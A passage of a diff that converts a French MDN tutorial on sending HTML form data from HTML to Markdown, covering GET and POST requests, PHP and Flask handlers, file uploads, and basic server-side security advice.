attribut, comme ci-dessous, les données de <a href="/fr/docs/Web/HTML/Element/Form"><code><form></code></a> sont envoyées à la même page que celle du formulaire :</p> +Sans attribut, comme ci-dessous, les données de [`<form>`](/fr/docs/Web/HTML/Element/Form) sont envoyées à la même page que celle du formulaire : -<pre class="brush: html"><form></pre> +```html +<form> +``` -<p>De nombreuses pages anciennes utilisent la notation suivante pour indiquer que les données doivent être envoyées à la page qui contient le formulaire. C'était nécessaire car jusqu'à HTML5, l'attribut <a href="/fr/docs/Web/HTML/Element/Form#attr-action"><code>action</code></a> était requis. Il n'y en a donc plus besoin.</p> +De nombreuses pages anciennes utilisent la notation suivante pour indiquer que les données doivent être envoyées à la page qui contient le formulaire. C'était nécessaire car jusqu'à HTML5, l'attribut [`action`](/fr/docs/Web/HTML/Element/Form#attr-action) était requis. Il n'y en a donc plus besoin. -<pre class="brush: html"><form action="#"></pre> +```html +<form action="#"> +``` -<div class="note"> - <p><strong>Note :</strong> Il est possible de spécifier une URL qui utilise le protocole HTTPS (HTTP sécurisé). Quand vous faites ceci, les données sont chiffrées avec le reste de la requête, même si le formulaire lui-même est hébergé dans une page non sécurisée à laquelle on accède via HTTP. D'autre part, si le formulaire est hébergé sur une page sécurisée mais qu'on spécifie une URL non sécurisée avec l'attribut <a href="/fr/docs/Web/HTML/Element/Form#attr-action"><code>action</code></a>, tous les navigateurs affichent une alerte de sécurité pour l'utilisateur chaque fois qu'il envoie des données car celles-ci ne sont pas chiffrées.</p> -</div> +> **Note :** Il est possible de spécifier une URL qui utilise le protocole HTTPS (HTTP sécurisé). Quand vous faites ceci, les données sont chiffrées avec le reste de la requête, même si le formulaire lui-même est hébergé dans une page non sécurisée à laquelle on accède via HTTP. D'autre part, si le formulaire est hébergé sur une page sécurisée mais qu'on spécifie une URL non sécurisée avec l'attribut [`action`](/fr/docs/Web/HTML/Element/Form#attr-action), tous les navigateurs affichent une alerte de sécurité pour l'utilisateur chaque fois qu'il envoie des données car celles-ci ne sont pas chiffrées. -<h3 id="the_method_attribute">L'attribut method</h3> +### L'attribut method -<p>Cet attribut définit comment les données sont envoyées. Le <a href="/fr/docs/Web/HTTP">Protocole HTTP </a>fournit plusieurs façons d'envoyer une requête. Les données des formulaires HTML peuvent être envoyées via au moins deux méthodes : la méthode <code>GET</code> et la méthode <code>POST</code>.</p> +Cet attribut définit comment les données sont envoyées. Le [Protocole HTTP ](/fr/docs/Web/HTTP)fournit plusieurs façons d'envoyer une requête. Les données des formulaires HTML peuvent être envoyées via au moins deux méthodes : la méthode `GET` et la méthode `POST`. -<p>Pour bien comprendre la différence entre ces deux méthodes, il convient d'examiner comment le protocole HTTP marche. Chaque fois qu'on veut atteindre une ressource sur Internet, le navigateur envoie une requête à une URL. Une requête HTTP consiste en deux parties : un en-tête (header) qui contient les métadonnées sur les capacités du navigateur, et un corps (body) qui contient les informations nécessaires au serveur pour effectuer la requête.</p> +Pour bien comprendre la différence entre ces deux méthodes, il convient d'examiner comment le protocole HTTP marche. Chaque fois qu'on veut atteindre une ressource sur Internet, le navigateur envoie une requête à une URL. Une requête HTTP consiste en deux parties : un en-tête (header) qui contient les métadonnées sur les capacités du navigateur, et un corps (body) qui contient les informations nécessaires au serveur pour effectuer la requête. -<h4 id="the_get_method">La méthode GET</h4> +#### La méthode GET -<p>La méthode <code>GET</code> est utilisée par le navigateur pour demander au serveur de renvoyer une certaine ressource. "Hé le serveur, je veux cette ressource." Dans ce cas, le navigateur envoie un corps vide. Du coup, si un formulaire est envoyé avec cette méthode, les données envoyées au serveur sont ajoutées à l'URL.</p> +La méthode `GET` est utilisée par le navigateur pour demander au serveur de renvoyer une certaine ressource. "Hé le serveur, je veux cette ressource." Dans ce cas, le navigateur envoie un corps vide. Du coup, si un formulaire est envoyé avec cette méthode, les données envoyées au serveur sont ajoutées à l'URL. -<p>Considérons le formulaire suivant :</p> +Considérons le formulaire suivant : -<pre class="brush: html"><form action="http://foo.com" method="get"> - <div> - <label for="say">Quelle salutation voulez-vous adresser ?</label> - <input name="say" id="say" value="Salut"> - </div> - <div> - <label for="to">À qui voulez‑vous l'adresser ?</label> - <input name="to" value="Maman"> - </div> - <div> - <button>Envoyer mes salutations</button> - </div> -</form></pre> +```html +<form action="http://foo.com" method="get"> + <div> + <label for="say">Quelle salutation voulez-vous adresser ?</label> + <input name="say" id="say" value="Salut"> + </div> + <div> + <label for="to">À qui voulez‑vous l'adresser ?</label> + <input name="to" value="Maman"> + </div> + <div> + <button>Envoyer mes salutations</button> + </div> +</form> +``` -<p>Comme nous avons utilisé la méthode <code>GET</code>, vous verrez l'URL <code>www.foo.com/?say=Hi&to=Mom</code> apparaître dans la barre du navigateur quand vous soumettez le formulaire.</p> +Comme nous avons utilisé la méthode `GET`, vous verrez l'URL `www.foo.com/?say=Hi&to=Mom` apparaître dans la barre du navigateur quand vous soumettez le formulaire. -<p><img src="url-parameters.png"></p> + -<p>Les données sont ajoutées à l'URL sous forme d'une suite de paires nom/valeur. À la fin de l'URL de l'adresse Web, il y a un point d'interrogation (?) suivi par les paires nom/valeur séparés par une esperluette (&). Dans ce cas, nous passons deux éléments de données au serveur :</p> +Les données sont ajoutées à l'URL sous forme d'une suite de paires nom/valeur. À la fin de l'URL de l'adresse Web, il y a un point d'interrogation (?) suivi par les paires nom/valeur séparés par une esperluette (&). Dans ce cas, nous passons deux éléments de données au serveur : -<ul> - <li><code>say</code>, dont la valeur est <code>Salut</code></li> - <li><code>to</code>, qui a la valeur <code>Maman</code></li> -</ul> +- `say`, dont la valeur est `Salut` +- `to`, qui a la valeur `Maman` -<p>La requête HTTP ressemble à quelque chose comme :</p> +La requête HTTP ressemble à quelque chose comme : -<pre>GET /?say=Hi&to=Mom HTTP/1.1 -Host: foo.com</pre> + GET /?say=Hi&to=Mom HTTP/1.1 + Host: foo.com -<div class="note"> - <p><strong>Note :</strong> Vous trouverez cet exemple sur GitHub — voyez <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/get-method.html">get-method.html</a> (à voir <a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html">directement aussi</a>).</p> -</div> +> **Note :** Vous trouverez cet exemple sur GitHub — voyez [get-method.html](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/get-method.html) (à voir [directement aussi](https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html)). -<h4 id="the_post_method">La méthode POST</h4> +#### La méthode POST -<p>La méthode <code>POST</code> est un peu différente.C'est la méthode que le navigateur utilise pour demander au serveur une réponse prenant en compte les données contenues dans le corps de la requête HTTP : « Hé serveur ! vois ces données et renvoie-moi le résultat approprié ». Si un formulaire est envoyé avec cette méthode, les données sont ajoutées au corps de la requête HTTP.</p> +La méthode `POST` est un peu différente.C'est la méthode que le navigateur utilise pour demander au serveur une réponse prenant en compte les données contenues dans le corps de la requête HTTP : « Hé serveur ! vois ces données et renvoie-moi le résultat approprié ». Si un formulaire est envoyé avec cette méthode, les données sont ajoutées au corps de la requête HTTP. -<p>Voyons un exemple — c'est le même formulaire que celui que nous avons vu pour GET ci‑dessus, mais avec <code>post</code> comme valeur de l'attribut <a href="/fr/docs/Web/HTML/Element/Form#attr-method"><code>method</code></a>.</p> +Voyons un exemple — c'est le même formulaire que celui que nous avons vu pour GET ci‑dessus, mais avec `post` comme valeur de l'attribut [`method`](/fr/docs/Web/HTML/Element/Form#attr-method). -<pre class="brush: html"><form action="http://www.foo.com" method="POST"> - <div> - <label for="say">Quelle salutation voulez-vous dire ?</label> - <input name="say" id="say" value="Salut"> - </div> - <div> - <label for="to">A qui voulez-vous le dire ?</label> - <input name="to" id="to" value="Maman"> - </div> - <div> - <button>Envoyer mes salutations</button> - </div> -</form></pre> +```html +<form action="http://www.foo.com" method="POST"> + <div> + <label for="say">Quelle salutation voulez-vous dire ?</label> + <input name="say" id="say" value="Salut"> + </div> + <div> + <label for="to">A qui voulez-vous le dire ?</label> + <input name="to" id="to" value="Maman"> + </div> + <div> + <button>Envoyer mes salutations</button> + </div> +</form> +``` -<p>Quand le formulaire est soumis avec la méthode <code>POST</code>, aucune donnée n'est ajoutée à l'URL et la requête HTTP ressemble à ceci, les données incorporées au corps de requête :</p> +Quand le formulaire est soumis avec la méthode `POST`, aucune donnée n'est ajoutée à l'URL et la requête HTTP ressemble à ceci, les données incorporées au corps de requête : -<pre>POST / HTTP/1.1 -Host: foo.com -Content-Type: application/x-www-form-urlencoded -Content-Length: 13 + POST / HTTP/1.1 + Host: foo.com + Content-Type: application/x-www-form-urlencoded + Content-Length: 13 -say=Hi&to=Mom</pre> + say=Hi&to=Mom -<p>L'en-tête <code>Content-Length </code>indique la taille du corps, et l'en-tête <code>Content-Type</code> indique le type de ressources envoyées au serveur. Nous discuterons de ces en-têtes dans un moment.</p> +L'en-tête `Content-Length `indique la taille du corps, et l'en-tête `Content-Type` indique le type de ressources envoyées au serveur. Nous discuterons de ces en-têtes dans un moment. -<div class="note"> - <p><strong>Note :</strong> Vous trouverez cet exemple sur GitHub — voyez <a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/post-method.html">post-method.html</a> (à voir <a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html">directement aussi</a>).</p> -</div> +> **Note :** Vous trouverez cet exemple sur GitHub — voyez [post-method.html](https://mdn.github.io/learning-area/html/forms/sending-form-data/post-method.html) (à voir [directement aussi](https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html)). -<h3 id="viewing_http_requests">Voir les requêtes HTTP</h3> +### Voir les requêtes HTTP -<p>Les requêtes HTTP ne sont jamais montrées à l'utilisateur (si vous voulez les voir, vous devez utiliser des outils comme la <a href="/fr/docs/Tools/Web_Console">Console Web</a> de Firefox ou les <a href="https://developers.google.com/chrome-developer-tools/">Chrome Developer Tools</a>). À titre d'exemple, les données de formulaire sont visibles comme suit dans l'onglet Chrome Network. Après avoir soumis le formulaire :</p> +Les requêtes HTTP ne sont jamais montrées à l'utilisateur (si vous voulez les voir, vous devez utiliser des outils comme la [Console Web](/fr/docs/Tools/Web_Console) de Firefox ou les [Chrome Developer Tools](https://developers.google.com/chrome-developer-tools/)). À titre d'exemple, les données de formulaire sont visibles comme suit dans l'onglet Chrome Network. Après avoir soumis le formulaire : -<ol> - <li>Pressez F12</li> - <li>Selectionnez « Réseau »</li> - <li>Selectionnez « Tout »</li> - <li>Selectionnez « foo.com » dans l'onglet « Nom »</li> - <li>Selectionnez « En‑tête »</li> -</ol> +1. Pressez F12 +2. Selectionnez « Réseau » +3. Selectionnez « Tout » +4. Selectionnez « foo.com » dans l'onglet « Nom » +5. Selectionnez « En‑tête » -<p>Vous obtiendrez les données du formulaire, comme l'image suivante le montre.</p> +Vous obtiendrez les données du formulaire, comme l'image suivante le montre. -<p><img src="network-monitor.png"></p> + -<p>La seule chose affichée à l'utilisateur est l'URL appelée. Comme mentionné ci‑dessus, avec une requête <code>GET</code> l'utilisateur verra les données dans la barre de l'URL, mais avec une requête <code>POST</code> il ne verra rien. Cela peut être important pour deux raisons :</p> +La seule chose affichée à l'utilisateur est l'URL appelée. Comme mentionné ci‑dessus, avec une requête `GET` l'utilisateur verra les données dans la barre de l'URL, mais avec une requête `POST` il ne verra rien. Cela peut être important pour deux raisons : -<ol> - <li>Si vous avez besoin d'envoyer un mot de passe (ou toute autre donnée sensible), n'utilisez jamais la méthode GET ou vous risquez de l'afficher dans la barre d'URL, ce qui serait très peu sûr.</li> - <li>Si vous avez besoin d'envoyer une grande quantité de données, la méthode POST est préférable, car certains navigateurs limitent la taille des URLs. De plus, de nombreux serveurs limitent la longueur des URL qu'ils acceptent.</li> -</ol> +1. Si vous avez besoin d'envoyer un mot de passe (ou toute autre donnée sensible), n'utilisez jamais la méthode GET ou vous risquez de l'afficher dans la barre d'URL, ce qui serait très peu sûr. +2. Si vous avez besoin d'envoyer une grande quantité de données, la méthode POST est préférable, car certains navigateurs limitent la taille des URLs. De plus, de nombreux serveurs limitent la longueur des URL qu'ils acceptent. -<h2 id="on_the_server_side_retrieving_the_data">Côté serveur : récupérer les données</h2> +## Côté serveur : récupérer les données -<p>Quelle que soit la méthode HTTP qu'on choisit, le serveur reçoit une chaîne de caractères qui sera décomposée pour récupérer les données comme une liste de paires clé/valeur. La façon d'accéder à cette liste dépend de la plateforme de développement utilisée et des modèles qu'on peut utiliser avec. La technologie utilisée détermine aussi comment les clés dupliquées sont gérées ; souvent, la priorité est donnée à la valeur de clé la plus récente.</p> +Quelle que soit la méthode HTTP qu'on choisit, le serveur reçoit une chaîne de caractères qui sera décomposée pour récupérer les données comme une liste de paires clé/valeur. La façon d'accéder à cette liste dépend de la plateforme de développement utilisée et des modèles qu'on peut utiliser avec. La technologie utilisée détermine aussi comment les clés dupliquées sont gérées ; souvent, la priorité est donnée à la valeur de clé la plus récente. -<h3 id="example_raw_php">Exemple : PHP brut</h3> +### Exemple : PHP brut -<p>Le <a href="https://php.net/">PHP</a> met à disposition des objets globaux pour accéder aux données. En supposant que vous avez utilisé la méthode <code>POST</code>, l'exemple suivant récupère les données et les affiche à l'utilisateur. Bien sûr, ce que vous en faites dépend de vous. Vous pouvez les afficher, les ranger dans une base de données, les envoyer par mail ou les traiter autrement.</p> +Le [PHP](https://php.net/) met à disposition des objets globaux pour accéder aux données. En supposant que vous avez utilisé la méthode `POST`, l'exemple suivant récupère les données et les affiche à l'utilisateur. Bien sûr, ce que vous en faites dépend de vous. Vous pouvez les afficher, les ranger dans une base de données, les envoyer par mail ou les traiter autrement. -<pre class="brush: php"><?php +```php +<?php // La variable globale $_POST vous donne accès aux données envoyées avec la méthode POST par leur nom // Pour avoir accès aux données envoyées avec la méthode GET, utilisez $_GET $say = htmlspecialchars($_POST['say']); $to = htmlspecialchars($_POST['to']); - echo $say, ' ', $to;</pre> + echo $say, ' ', $to; +``` -<p>Cet exemple affiche une page avec les données envoyées. Vous pouvez voir ceci opérer avec notre fichier exemple <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.html">php-example.html</a> — il contient le même formulaire exemple que celui vu précédemment avec la méthode <code>post</code> avec <code>php-example.php</code> en action. À la soumission du formulaire, il envoie les données de ce dernier à <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.php">php-example.php</a>, contenant le code ci‑dessus. Quand le code est exécuté, la sortie dans le navigateur est <code>Hi Mom</code> « Bonjour maman ».</p> +Cet exemple affiche une page avec les données envoyées. Vous pouvez voir ceci opérer avec notre fichier exemple [php-example.html](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.html) — il contient le même formulaire exemple que celui vu précédemment avec la méthode `post` avec `php-example.php` en action. À la soumission du formulaire, il envoie les données de ce dernier à [php-example.php](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.php), contenant le code ci‑dessus. Quand le code est exécuté, la sortie dans le navigateur est `Hi Mom` « Bonjour maman ». -<p><img alt="L'exécution du code PHP déclenche l'affichage de Hi Mom" src="php-result.png"></p> + -<div class="note"> - <p><strong>Note :</strong> Cet exemple ne fonctionnera pas si vous le chargez localement dans un navigateur — les navigateurs ne savent pas interpréter le code PHP, donc quand le formulaire est soumis, le navigateur vous offrira seulement de télécharger le fichier PHP pour vous. Pour qu'il s'exécute, il est nécessaire de lancer l'exemple par l'intermédiaire d'un serveur PHP de n'importe quel type. Les bons choix pour des tests locaux de PHP sont <a href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac et Windows) et <a href="https://ampps.com/download">AMPPS</a> (Mac, Windows, Linux).</p> - <p>Notez également que si vous utilisez MAMP mais que vous n'avez pas installé MAMP Pro (ou si le temps d'essai de la démo de MAMP Pro a expiré), vous pourriez avoir des difficultés à le faire fonctionner. Pour le faire fonctionner à nouveau, nous avons constaté que vous pouvez charger l'application MAMP, puis choisir les options de menu <em>MAMP</em> > <em>Préférences</em> > <em>PHP</em>, et définir "Version standard :" à "7.2.x" (x sera différent selon la version que vous avez installée).</p> -</div> +> **Note :** Cet exemple ne fonctionnera pas si vous le chargez localement dans un navigateur — les navigateurs ne savent pas interpréter le code PHP, donc quand le formulaire est soumis, le navigateur vous offrira seulement de télécharger le fichier PHP pour vous. Pour qu'il s'exécute, il est nécessaire de lancer l'exemple par l'intermédiaire d'un serveur PHP de n'importe quel type. Les bons choix pour des tests locaux de PHP sont [MAMP](https://www.mamp.info/en/downloads/) (Mac et Windows) et [AMPPS](https://ampps.com/download) (Mac, Windows, Linux). +> +> Notez également que si vous utilisez MAMP mais que vous n'avez pas installé MAMP Pro (ou si le temps d'essai de la démo de MAMP Pro a expiré), vous pourriez avoir des difficultés à le faire fonctionner. Pour le faire fonctionner à nouveau, nous avons constaté que vous pouvez charger l'application MAMP, puis choisir les options de menu _MAMP_ > _Préférences_ > _PHP_, et définir "Version standard :" à "7.2.x" (x sera différent selon la version que vous avez installée). -<h3 id="example_python">Exemple: Python</h3> +### Exemple: Python -<p>Cet exemple vous montre comment utiliser Python pour faire la même chose — afficher les données sur une page web. Celui‑ci utilise <a href="https://flask.pocoo.org/">Flask framework</a> pour le rendu des modèles, la gestion de la soumission des données du formulaire, etc (voyez <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py">python-example.py</a>).</p> +Cet exemple vous montre comment utiliser Python pour faire la même chose — afficher les données sur une page web. Celui‑ci utilise [Flask framework](https://flask.pocoo.org/) pour le rendu des modèles, la gestion de la soumission des données du formulaire, etc (voyez [python-example.py](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py)). -<pre class="brush: python">from flask import Flask, render_template, request +```python +from flask import Flask, render_template, request app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) @@ -219,126 +233,109 @@ def hello(): return render_template('greeting.html', say=request.form['say'], to=request.form['to']) if __name__ == "__main__": - app.run()</pre> + app.run() +``` -<p>Les deux prototypes référencés dans le code ci‑dessus sont les suivants :</p> +Les deux prototypes référencés dans le code ci‑dessus sont les suivants : -<ul> - <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/form.html">form.html </a>: Le même formulaire que celui vu plus haut dans la section <a href="#the_post_method">La méthode POST</a> mais avec l'attribut <code>action</code> défini à la valeur <code>\{{url_for('hello')}}</code>. (C'est un modèle <a href="https://jinja.pocoo.org/docs/2.9/">Jinja2</a>, qui est HTML à la base mais peut contenir des appels à du code Python qui fait tourner le serveur web mis entre accolades. <code>url_for('hello')</code> dit en gros « à rediriger sur <code>/hello</code> quand le formulaire est soumis ».)</li> - <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/greeting.html">greeting.html</a> : Ce modèle contient juste une ligne qui renvoie les deux éléments de donnée qui lui sont passées lors du rendu. Cela est effectué par l'intermédiaire de la fonction <code>hello()</code> vue plus haut qui s'exécute quand l'URL <code>/hello</code> est chargée dans le navigateur.</li> -</ul> +- [form.html ](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/form.html): Le même formulaire que celui vu plus haut dans la section [La méthode POST](#the_post_method) mais avec l'attribut `action` défini à la valeur `\{{url_for('hello')}}`. (C'est un modèle [Jinja2](https://jinja.pocoo.org/docs/2.9/), qui est HTML à la base mais peut contenir des appels à du code Python qui fait tourner le serveur web mis entre accolades. `url_for('hello')` dit en gros « à rediriger sur `/hello` quand le formulaire est soumis ».) +- [greeting.html](https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/greeting.html) : Ce modèle contient juste une ligne qui renvoie les deux éléments de donnée qui lui sont passées lors du rendu. Cela est effectué par l'intermédiaire de la fonction `hello()` vue plus haut qui s'exécute quand l'URL `/hello` est chargée dans le navigateur. -<div class="note"> - <p><strong>Note :</strong> À nouveau, ce code ne fonctionnera pas si vous tentez de le charger directement dans le navigateur. Python fonctionne un peu différemment de PHP — pour exécuter ce code localement il est nécessaire d'<a href="/fr/docs/Learn/Server-side/Django/development_environment#installing_python_3">installer Python/PIP</a>, puis Flask avec « <code>pip3 install flask</code> ». À ce moment‑là vous pourrez exécuter l'exemple avec « <code>python3 python-example.py</code> », puis en allant sur « <code>localhost:5000</code> » dans votre navigateur.</p> -</div> +> **Note :** À nouveau, ce code ne fonctionnera pas si vous tentez de le charger directement dans le navigateur. Python fonctionne un peu différemment de PHP — pour exécuter ce code localement il est nécessaire d'[installer Python/PIP](/fr/docs/Learn/Server-side/Django/development_environment#installing_python_3), puis Flask avec « `pip3 install flask` ». À ce moment‑là vous pourrez exécuter l'exemple avec « `python3 python-example.py` », puis en allant sur « `localhost:5000` » dans votre navigateur. -<h3 id="other_languages_and_frameworks">Autres langages et canevas de structures</h3> +### Autres langages et canevas de structures -<p>Il y a de nombreuses autres techniques côté serveur utilisables pour gérer des formulaires, comme Perl, Java, .Net, Ruby... retenez juste votre préférée. Cela dit, il faut noter qu'il n'est pas très courant d'utiliser ces techniques directement car cela peut être délicat. Il est plus fréquent d'utiliser l'un des jolis canevas qui permettent de gérer des formulaires plus facilement, comme :</p> +Il y a de nombreuses autres techniques côté serveur utilisables pour gérer des formulaires, comme Perl, Java, .Net, Ruby... retenez juste votre préférée. Cela dit, il faut noter qu'il n'est pas très courant d'utiliser ces techniques directement car cela peut être délicat. Il est plus fréquent d'utiliser l'un des jolis canevas qui permettent de gérer des formulaires plus facilement, comme : -<ul> - <li><a href="https://symfony.com/">Symfony</a> pour PHP</li> - <li><a href="https://www.djangoproject.com/">Django</a> pour Python</li> - <li><a href="/fr/docs/Learn/Server-side/Express_Nodejs">Express</a> pour Node.js</li> - <li><a href="https://rubyonrails.org/">Ruby On Rails</a> pour Ruby</li> - <li><a href="https://grails.org/">Grails</a> pour Java</li> - <li>etc.</li> -</ul> +- [Symfony](https://symfony.com/) pour PHP +- [Django](https://www.djangoproject.com/) pour Python +- [Express](/fr/docs/Learn/Server-side/Express_Nodejs) pour Node.js +- [Ruby On Rails](https://rubyonrails.org/) pour Ruby +- [Grails](https://grails.org/) pour Java +- etc. -<p>Enfin il faut noter que même en utilisant ces canevas, travailler avec des formulaires n'est pas toujours <em>facile</em>. Mais c'est quand même bien plus facile que d'essayer d'en écrire vous‑même les fonctionnalités et cela vous économisera pas mal de temps.</p> +Enfin il faut noter que même en utilisant ces canevas, travailler avec des formulaires n'est pas toujours _facile_. Mais c'est quand même bien plus facile que d'essayer d'en écrire vous‑même les fonctionnalités et cela vous économisera pas mal de temps. -<div class="note"> - <p><strong>Note :</strong> Nous déborderions du cadre de cet article en vous initiant aux langages côté serveur ou aux canevas. Les liens ci‑dessus vous donneront des informations si vous souhaitez en apprendre plus.</p> -</div> +> **Note :** Nous déborderions du cadre de cet article en vous initiant aux langages côté serveur ou aux canevas. Les liens ci‑dessus vous donneront des informations si vous souhaitez en apprendre plus. -<h2 id="a_special_case_sending_files">Cas particulier : envoyer des fichiers</h2> +## Cas particulier : envoyer des fichiers -<p>L'envoi de fichiers avec un formulaire HTML est cas particulier. Les fichiers sont des données binaires — ou considérées comme telles — alors que toutes les autres données sont des données textuelles. Comme HTTP est un protocole de texte, il y a certaines conditions particulières à remplir pour gérer des données binaires.</p> +L'envoi de fichiers avec un formulaire HTML est cas particulier. Les fichiers sont des données binaires — ou considérées comme telles — alors que toutes les autres données sont des données textuelles. Comme HTTP est un protocole de texte, il y a certaines conditions particulières à remplir pour gérer des données binaires. -<h3 id="the_enctype_attribute">L'attribut enctype</h3> +### L'attribut enctype -<p>Cet attribut vous permet de préciser la valeur de l'en-tête HTTP <code>Content-Type</code> incorporé dans la requête générée au moment de la soumission du formulaire. Cet en-tête est très important, car il indique au serveur le type de données envoyées. Par défaut, sa valeur est <code>application/x-www-form-urlencoded</code>. Ce qui signifie : « Ce sont des données de formulaire encodées à l'aide de paramètres URL ».</p> +Cet attribut vous permet de préciser la valeur de l'en-tête HTTP `Content-Type` incorporé dans la requête générée au moment de la soumission du formulaire. Cet en-tête est très important, car il indique au serveur le type de données envoyées. Par défaut, sa valeur est `application/x-www-form-urlencoded`. Ce qui signifie : « Ce sont des données de formulaire encodées à l'aide de paramètres URL ». -<p>Mais si vous voulez envoyer des fichiers, il faut faire deux choses en plus :</p> +Mais si vous voulez envoyer des fichiers, il faut faire deux choses en plus : -<ul> - <li>régler l'attribut <a href="/fr/docs/Web/HTML/Element/Form#attr-method"><code>method</code></a> à <code>POST</code>, car un contenu de fichier ne peut pas être mis dans des paramètres d'URL.</li> - <li>régler la valeur de <a href="/fr/docs/Web/HTML/Element/Form#attr-enctype"><code>enctype</code></a> <code>à multipart/form-data</code>, car les données seront coupées en plusieurs parties, une pour chaque fichier plus une pour les données dans le corps du formulaire (si du texte a aussi été entré dans le formulaire).</li> - <li>incorporer un ou plusieurs widgets de <a href="/fr/docs/Web/HTML/Element/Input/file"><code><input type="file"></code></a> pour permettre aux utilisateurs de choisir les fichiers à téléverser.</li> -</ul> +- régler l'attribut [`method`](/fr/docs/Web/HTML/Element/Form#attr-method) à `POST`, car un contenu de fichier ne peut pas être mis dans des paramètres d'URL. +- régler la valeur de [`enctype`](/fr/docs/Web/HTML/Element/Form#attr-enctype) `à multipart/form-data`, car les données seront coupées en plusieurs parties, une pour chaque fichier plus une pour les données dans le corps du formulaire (si du texte a aussi été entré dans le formulaire). +- incorporer un ou plusieurs widgets de [`<input type="file">`](/fr/docs/Web/HTML/Element/Input/file) pour permettre aux utilisateurs de choisir les fichiers à téléverser. -<p>Par exemple :</p> +Par exemple : -<pre class="brush: html"><form method="post" action="https://www.foo.com" enctype="multipart/form-data"> - <div> - <label for="file">Choisir un fichier</label> - <input type="file" id="file" name="myFile"> - </div> - <div> - <button>Envoyer le fichier</button> - </div> -</form></pre> +```html +<form method="post" action="https://www.foo.com" enctype="multipart/form-data"> + <div> + <label for="file">Choisir un fichier</label> + <input type="file" id="file" name="myFile"> + </div> + <div> + <button>Envoyer le fichier</button> + </div> +</form> +``` -<div class="note"> - <p><strong>Note :</strong> Les serveurs peuvent être configurés avec une limite de taille pour les fichiers et les requêtes HTTP afin d'éviter les abus.</p> -</div> +> **Note :** Les serveurs peuvent être configurés avec une limite de taille pour les fichiers et les requêtes HTTP afin d'éviter les abus. -<h2 id="security_issues">Problèmes courants de sécurité</h2> +## Problèmes courants de sécurité -<p>Chaque fois qu'on envoie des données à un serveur, il faut considérer la sécurité. Les formulaires HTML sont l'un des principaux vecteurs d'attaque (emplacements d'où les attaques peuvent provenir) contre les serveurs. Les problèmes ne viennent jamais des formulaires eux-mêmes — ils proviennent de la façon dont les serveurs gèrent les données.</p> +Chaque fois qu'on envoie des données à un serveur, il faut considérer la sécurité. Les formulaires HTML sont l'un des principaux vecteurs d'attaque (emplacements d'où les attaques peuvent provenir) contre les serveurs. Les problèmes ne viennent jamais des formulaires eux-mêmes — ils proviennent de la façon dont les serveurs gèrent les données. -<p>L'article <a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Sécurité des sites Web</a> de notre sujet d'apprentissage <a href="/fr/docs/Learn/Server-side">server-side</a> aborde en détail un certain nombre d'attaques courantes et les défenses potentielles contre celles-ci. Vous devriez aller consulter cet article, pour vous faire une idée de ce qui est possible.</p> +L'article [Sécurité des sites Web](/fr/docs/Learn/Server-side/First_steps/Website_security) de notre sujet d'apprentissage [server-side](/fr/docs/Learn/Server-side) aborde en détail un certain nombre d'attaques courantes et les défenses potentielles contre celles-ci. Vous devriez aller consulter cet article, pour vous faire une idée de ce qui est possible. -<h3 id="be_paranoid_never_trust_your_users">Soyez paranoïaque : ne faites jamais confiances à vos utilisateurs</h3> +### Soyez paranoïaque : ne faites jamais confiances à vos utilisateurs -<p>Alors, comment combattre ces menaces ? Ce sujet va bien au-delà de ce guide, mais il y a quelques règles à garder en tête. La principale est de ne jamais faire confiance à ses utilisateurs, vous-même compris : même un utilisateur de confiance peut s'être fait pirater.</p> +Alors, comment combattre ces menaces ? Ce sujet va bien au-delà de ce guide, mais il y a quelques règles à garder en tête. La principale est de ne jamais faire confiance à ses utilisateurs, vous-même compris : même un utilisateur de confiance peut s'être fait pirater. -<p>Toute donnée qui va dans un serveur doit être vérifiée et nettoyée. Toujours. Sans exception.</p> +Toute donnée qui va dans un serveur doit être vérifiée et nettoyée. Toujours. Sans exception. -<ul> - <li><strong>Échappez les caractères potentiellement dangereux</strong>. Les caractères spécifiques dont vous devez vous méfier varient en fonction du contexte dans lequel les données sont utilisées et de la plateforme serveur que vous employez, mais tous les langages côté serveur disposent de fonctions à cet effet. Les choses à surveiller sont les séquences de caractères qui ressemblent à du code exécutable (comme <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ou des <a href="https://en.wikipedia.org/wiki/SQL">Commandes SQL</a>).</li> - <li><strong>Limitez la quantité de données entrantes pour n'autoriser que ce qui est nécessaire</strong>.</li> - <li><strong>Sandbox des fichiers téléchargés</strong>. Stockez-les sur un serveur différent et n'autorisez l'accès au fichier que par un sous-domaine différent ou, mieux encore, par un domaine complètement différent.</li> -</ul> +- **Échappez les caractères potentiellement dangereux**. Les caractères spécifiques dont vous devez vous méfier varient en fonction du contexte dans lequel les données sont utilisées et de la plateforme serveur que vous employez, mais tous les langages côté serveur disposent de fonctions à cet effet. Les choses à surveiller sont les séquences de caractères qui ressemblent à du code exécutable (comme [JavaScript](/fr/docs/Learn/JavaScript) ou des [Commandes SQL](https://en.wikipedia.org/wiki/SQL)). +- **Limitez la quantité de données entrantes pour n'autoriser que ce qui est nécessaire**. +- **Sandbox des fichiers téléchargés**. Stockez-les sur un serveur différent et n'autorisez l'accès au fichier que par un sous-domaine différent ou, mieux encore, par un domaine complètement différent. -<p>Vous devriez vous éviter beaucoup de problèmes en suivant ces trois règles, mais cela reste néanmoins une bonne idée de faire un examen de sécurité auprès d'une tierce personne compétente. Ne pensez pas, à tort, 